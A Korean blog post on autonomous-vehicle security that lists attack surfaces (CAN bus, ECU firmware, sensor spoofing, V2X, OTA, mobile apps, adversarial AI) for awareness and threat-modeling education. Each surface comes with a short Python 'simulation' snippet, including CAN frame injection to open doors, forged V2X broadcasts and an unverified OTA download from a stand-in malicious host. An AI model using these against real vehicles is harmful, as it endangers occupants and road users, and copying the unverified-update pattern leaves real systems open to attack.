자율주행차 보안 위협 TOP 7 – 해커는 어디를 노릴까
당신의 자율주행차, 정말 안전할까요? 해커는 지금 이 순간에도 '움직이는 컴퓨터'를 노리고 있습니다.
안녕하세요, ICT·보안 전문 블로거 ICT리더 리치입니다.
최근 자동차는 더 이상 단순한 교통수단이 아니라, 수백만 줄의 코드와 수십 개의 통신모듈을 가진 ‘움직이는 컴퓨터’로 진화했습니다.
하지만 이 혁신은 새로운 보안 위협도 함께 가져왔습니다.
오늘은 실제 보안 테스트와 사고 사례를 바탕으로 자율주행차를 노리는 해커들의 공격 포인트 TOP 7을 상세히 소개해드리겠습니다. 정보보안 인식 제고, 위협 모델링 교육의 목적으로 예시코드를 중심으로 설명드립니다!
보안 담당자, 개발자, 그리고 운전자 모두에게 꼭 필요한 정보니 끝까지 집중해주세요!
📌 바로가기 목차
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| 자율주행 시대, 보안이 곧 안전이다! 여성 대표썸네일 이미지 |
1. 왜 자율주행차 보안이 중요한가?
자율주행차는 수십 개의 센서와 통신 모듈, AI 연산 시스템이 실시간으로 데이터를 처리하며 운행됩니다. 이는 곧 '네트워크에 연결된 움직이는 컴퓨터'라는 의미로, 모든 연결 지점이 해킹 대상이 될 수 있습니다.
과거에는 차량 해킹이 이론적이었지만, 지금은 실제 해킹 콘퍼런스에서 브레이크 조작·차선 변경·경고음 해킹 등 현실 사례가 꾸준히 보고되고 있습니다. 보안은 단순한 보호가 아닌 생명을 지키는 필수요소입니다.
2. 차량 내부 통신(CAN) 공격
차량의 ECU(Electronic Control Unit)들은 CAN(Controller Area Network)으로 연결되어 상호 데이터를 주고받습니다. 문제는 이 CAN 통신이 암호화나 인증 없이 메시지를 전송한다는 점입니다.
| 취약 요소 | 공격 방식 |
|---|---|
| OBD-II 포트 | 물리적 접근으로 CAN 메시지 주입 |
| 메시지 위조 | 가짜 브레이크/가속 명령 송출 |
차량 내부의 CAN(Controller Area Network) 버스를 조작하면 차량 기능에 직접적인 영향을 줄 수 있습니다. 다음은 CAN 메시지를 시뮬레이션하여 문을 강제로 여는 예시 코드입니다.
# CAN 통신 해킹 시뮬레이션 예제
import can
import time
# 가짜 CAN 메시지 설정
can_id = 0x123 # 특정 기능의 ID
can_data = [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] # 문 열기 명령
bus = can.interface.Bus(channel='can0', bustype='socketcan')
msg = can.Message(arbitration_id=can_id,
data=can_data,
is_extended_id=False)
try:
while True:
bus.send(msg)
print("🚨 문 열기 명령 전송 중...")
time.sleep(1)
except KeyboardInterrupt:
print("전송 종료")
3. ECU 탈취와 제어권 공격
자율주행차는 수십 개의 ECU(Electronic Control Unit)로 구성되어 있으며, 각 ECU는 제동, 조향, 엔진 제어 등 핵심 기능을 담당합니다. 공격자가 ECU 펌웨어를 조작하면, 차량의 물리적 제어권까지 탈취할 수 있는 중대한 위협으로 이어질 수 있습니다.
🛠️ ECU 해킹 시나리오
- OBD-II 포트를 통한 펌웨어 다운로드
- 수정된 바이너리 업로드로 ECU 동작 변경
- OTA(Over-The-Air) 업데이트 조작을 통한 무선 탈취
ECU 펌웨어를 직접 추출해 악성 명령을 삽입하고 다시 업로드하는 시뮬레이션입니다. 실제 ECU에는 암호화 및 보안 부트가 적용되어 있어야 안전합니다.
# ECU 펌웨어 조작 예제
from binascii import hexlify
# ECU 메모리 영역 덤프 시뮬레이션
firmware = bytearray(open('ecu_dump.bin', 'rb').read())
print("기존 펌웨어 크기:", len(firmware))
# 특정 위치에 악성 명령 삽입 (예: 제동 우회)
firmware[100:104] = b'\xDE\xAD\xBE\xEF'
# 덮어쓰기 및 재업로드
with open('ecu_hacked.bin', 'wb') as f:
f.write(firmware)
print("✅ 펌웨어 수정 완료 및 저장")
# 이 파일을 ECU에 플래싱 시 보안 부팅이 없다면 공격 가능
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4. 센서와 카메라 스푸핑
자율주행차의 주요 판단 기반은 센서입니다. 특히 라이다, 레이더, 카메라가 수집한 데이터를 딥러닝 모델이 분석해 주행을 제어합니다. 그러나 이 센서들은 물리적 신호에 의존하기 때문에, 외부에서 조작이 매우 용이합니다.
대표적인 스푸핑 유형은 다음과 같습니다.
📌 주요 스푸핑 유형
- 표지판 스푸핑: 카메라 AI가 표지판을 잘못 인식하게 유도
- 라이다 스푸핑: 반사체를 이용해 가짜 객체 생성
- 차선 스푸핑: 도로 위 패턴으로 경로 혼란 유도
AI 카메라를 속이는 스푸핑 공격은 이미지 인식을 왜곡시켜 자율주행 오작동을 유도합니다. 다음은 이미지 필터로 표지판 인식을 변경시키는 시뮬레이션 코드입니다.
# 이미지 스푸핑 시뮬레이션
import cv2
import numpy as np
img = cv2.imread('stop_sign.jpg')
# 필터: 빨간색을 제거하여 인식 오류 유도
lower_red = np.array([0,0,100])
upper_red = np.array([100,100,255])
mask = cv2.inRange(img, lower_red, upper_red)
# 빨간색 제거된 이미지 생성
result = cv2.bitwise_and(img, img, mask=~mask)
cv2.imwrite('spoofed_sign.jpg', result)
print("🚨 표지판 스푸핑 이미지 저장 완료")
5. V2X 통신 해킹 위협
V2X(Vehicle-to-Everything)는 자율주행차가 교통 인프라, 차량, 보행자 등과 실시간으로 통신하는 핵심 기술입니다. 하지만 무선 기반 통신이기에 외부 위장 장치에 매우 취약합니다.
📡 V2X 통신 구성 요소
- V2I: 차량-인프라 간 신호등, 표지판과의 통신
- V2V: 차량 간 실시간 속도, 위치 정보 공유
- V2P: 보행자 스마트폰·디바이스와 연결
🚨 V2X 위협 시나리오
- 위조된 RSU 장비로 경로 변경 유도
- DoS로 V2V 채널 마비
- 위치/속도 위조 데이터 삽입
V2X 통신에서 신호를 위조하거나 재전송하는 방식으로 교통 흐름을 교란할 수 있습니다. 다음은 위조된 V2X 패킷을 생성하는 예제입니다.
# V2X 패킷 위조 시뮬레이션
import json
import socket
v2x_message = {
"vehicle_id": "HACKED_123",
"latitude": 37.1234,
"longitude": 127.5678,
"speed": 0,
"alert": "EMERGENCY_BRAKE"
}
packet = json.dumps(v2x_message).encode()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(packet, ("192.168.10.255", 5005))
print("🚨 위조된 V2X 메시지 전송 완료")
6. OTA 업데이트 취약점
OTA(Over-The-Air) 업데이트는 차량 소프트웨어를 원격으로 갱신하는 방식으로, 효율성과 비용 절감 면에서 필수입니다. 하지만 OTA 시스템은 공격자에게 백도어 설치 경로를 열어주는 위험 요소가 될 수 있습니다.
📥 OTA 공격 유형
- 위조된 OTA 서버 접속 유도
- 서명 생략 통한 악성 패치 설치
- 중간자 공격(MITM)을 통한 OTA 조작
OTA(Over-The-Air) 방식은 서명되지 않은 업데이트나 MITM 공격에 취약할 수 있습니다. 다음은 SHA256 해시 검증이 누락된 업데이트 예제입니다.
# 서명 검증 없는 OTA 업데이트 시뮬레이션
import requests
update_url = "http://malicious-server.com/fake-update.bin"
response = requests.get(update_url)
with open("/car/system/update.bin", "wb") as f:
f.write(response.content)
print("🚨 해시 검증 없이 OTA 패치 적용 완료")
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7. 클라우드와 모바일 앱 공격
모바일 앱은 차량 제어의 중심이 되고 있으며, 대부분의 자율주행차는 앱으로 원격 시동, 위치 확인, 공조 설정 등을 제공합니다. 그러나 앱이 사용하는 API와 클라우드 백엔드는 새로운 공격의 시작점이 될 수 있습니다.
🔓 클라우드·앱 위협 요소
- 앱 인증 우회 (탈옥 디바이스 활용)
- 하드코딩된 API 키 노출
- 백엔드 API 취약점으로 차량 제어 탈취
모바일 앱과 차량 API 통신을 탈취하거나 인증 우회할 경우 원격 제어가 가능합니다. 다음은 하드코딩된 API 키를 추출하고 제어 명령을 전송하는 시뮬레이션입니다.
# 하드코딩 API 키로 차량 원격 제어
import requests
API_KEY = "hardcoded-abc123xyz"
endpoint = "https://api.carcontrol.com/start_engine"
headers = {"Authorization": f"Bearer {API_KEY}"}
response = requests.post(endpoint, headers=headers)
if response.status_code == 200:
print("✅ 차량 원격 시동 명령 전송 완료")
else:
print("❌ 명령 실패:", response.text)
8. 인공지능 모델 왜곡 (Adversarial Attack)
자율주행차는 AI 모델을 통해 실시간 판단을 수행하지만, 이 모델이 공격자에 의해 의도적으로 왜곡된 입력을 받는다면 위험한 판단을 내릴 수 있습니다. 이러한 Adversarial Attack(적대적 공격)은 교묘하게 조작된 픽셀로 표지판, 사람, 장애물을 오인식하게 만들 수 있습니다.
🧠 AI 혼란 공격 기법
- 적대적 노이즈 삽입으로 표지판 오인식
- 의도적 스티커/패턴으로 물체 왜곡
- 이미지 분류기 학습 데이터 조작
다음은 적대적 이미지(Adversarial Image)를 생성하여 AI 모델이 'STOP' 표지판을 인식하지 못하도록 왜곡하는 시뮬레이션 예시입니다.
# Adversarial 이미지 생성 예시
import torch
import torchvision.models as models
import torchvision.transforms as transforms
from PIL import Image
import numpy as np
model = models.resnet18(pretrained=True)
model.eval()
# 이미지 불러오기
img = Image.open("stop_sign.jpg")
transform = transforms.Compose([
transforms.Resize((224, 224)),
transforms.ToTensor()
])
img_tensor = transform(img).unsqueeze(0)
# 적대적 노이즈 생성
noise = torch.randn_like(img_tensor) * 0.01
adv_img = img_tensor + noise
# 모델 예측
output = model(adv_img)
pred = output.argmax(1)
print("🚨 AI 모델의 예측 결과 ID:", pred.item())
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9. 자주 묻는 질문 (FAQ)
네. 차량 내부 통신(CAN), 무선 통신(V2X), OTA 업데이트 등 다양한 경로로 해킹이 가능하며 실제 사례도 보고되고 있습니다.
OTA는 편리하지만, 보안 인증 없이 업데이트가 이뤄질 경우 악성코드가 설치될 위험이 있어 철저한 검증이 필요합니다.
스마트폰 앱은 차량 제어와 연결돼 있어, 계정 탈취나 인증 우회 시 원격 시동이나 위치 추적 등의 악용이 가능합니다.
라이다, 카메라, 레이더 등은 외부 물리 신호에 의해 혼란될 수 있으며, 실제 표지판 위조·빛 반사 등 스푸핑 공격이 가능합니다.
알 수 없는 Wi-Fi 접속 금지, 공식 OTA만 설치, 차량 앱 계정 보안 강화(2단계 인증 사용) 등으로 기본 보안을 지킬 수 있습니다.
10. 마무리 요약
✅ 자율주행차는 ‘기술’ 이전에 ‘보안’이다
자율주행차는 기술적으로는 빠르게 발전하고 있지만, 보안은 아직 따라가지 못하고 있는 것이 현실입니다.
오늘 소개한 7가지 공격 유형은 단순한 가정이 아니라, 실제 해커가 노리는 공격 포인트입니다.
CAN 통신, V2X, OTA, 센서 인식, 앱 연동 등 모든 경로가 위험 요소가 될 수 있습니다.
완벽한 자율주행의 시대를 위해서는 반드시 보안이 선행되어야 합니다.
개발자뿐만 아니라 운전자, 정책 담당자 모두가 보안을 고려하는 문화가 필요합니다.
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